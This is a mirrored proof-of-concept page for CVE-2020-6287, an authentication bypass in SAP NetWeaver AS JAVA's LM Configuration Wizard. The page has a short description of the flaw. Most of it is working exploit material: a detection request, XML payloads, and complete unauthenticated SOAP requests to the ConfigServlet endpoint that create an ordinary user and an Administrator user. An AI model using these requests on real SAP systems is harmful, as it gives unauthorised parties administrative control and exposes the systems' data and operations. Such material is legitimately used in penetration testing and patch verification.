Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-6287 PoC — SAP NetWeaver AS JAVA 授权问题漏洞

Source
Associated Vulnerability
Title:SAP NetWeaver AS JAVA 授权问题漏洞 (CVE-2020-6287)
Description:SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check.
Description
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Authentication Bypass (Create Simple & Administrator Java User)
Readme
<b>[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Authentication Bypass (Create Simple & Administrator Java User)</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
SAP NetWeaver is SAP’s integrated technology platform and the technical foundation of all SAP applications since SAP Business Suite. SAP NetWeaver is a service-oriented application and integration platform that provides a development and running environment for SAP applications, and can also be used for custom development and integration with other applications and systems. SAP NetWeaver AS JAVA (LM Configuration Wizard), versions `7.30, 7.31, 7.40, 7.50`, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to missing authentication check.

- [X] In order to checking CVE-2020-6287: ``` GET /CTCWebService/CTCWebServiceBean?wsdl```<br>
- [X] In order to create simple Java user: go to ```Proof of Concept (PoC) 1```<br>
- [X] In order to create Administrator Java user: ```Proof of Concept (PoC) 2```<br>
- [X] For safely proof of concept: check out [`CVE-2020-6286`](https://github.com/murataydemir/CVE-2020-6286) repository

<b>Proof of Concept (PoC) 1:</b> Create simple Java user

Payload
```xml
<root>
    <user>
        <JavaOrABAP>java</JavaOrABAP>
        <username>pentestuser</username>
        <password>v3rystr0ngp@ssw0rd</password>
        <userType></userType>
    </user>
</root>
```

Encode above payload to Base64 and insert into below request's <BASE64_ENCODED_PAYLOAD_HERE> field

```
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>
```

<b>Proof of Concept (PoC) 2:</b> Create Administrator Java user</b>

Payload
```xml
<PCK>
    <Usermanagement>
        <SAP_XI_PCK_CONFIG>
            <roleName>Administrator</roleName>
        </SAP_XI_PCK_CONFIG>
        <SAP_XI_PCK_COMMUNICATION>
            <roleName>ThisIsRnd9326</roleName>
        </SAP_XI_PCK_COMMUNICATION>
        <SAP_XI_PCK_MONITOR>
            <roleName>ThisIsRnd5031</roleName>
        </SAP_XI_PCK_MONITOR>
        <SAP_XI_PCK_ADMIN>
            <roleName>ThisIsRnd9846</roleName>
        </SAP_XI_PCK_ADMIN>
        <PCKUser>
            <userName secure="true">pentestuser</userName>
            <password secure="true">v3rystr0ngp@ssw0rd</password>
        </PCKUser>
        <PCKReceiver>
            <userName>ThisIsRnd6461</userName>
            <password secure="true">ThisIsRnd5525</password>
        </PCKReceiver>
        <PCKMonitor>
            <userName>ThisIsRnd9457</userName>
            <password secure="true">ThisIsRnd9037</password>
        </PCKMonitor>
        <PCKAdmin>
            <userName>ThisIsRnd8386</userName>
            <password secure="true">ThisIsRnd8477</password>
        </PCKAdmin>
    </Usermanagement>
</PCK>
```

Encode above payload to Base64 and insert into below request's <BASE64_ENCODED_PAYLOAD_HERE> field
```
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>
```
File Snapshot

[4.0K] /data/pocs/61833358eb1665339a88b67ad25a6b8a40c0d30a └── [4.9K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →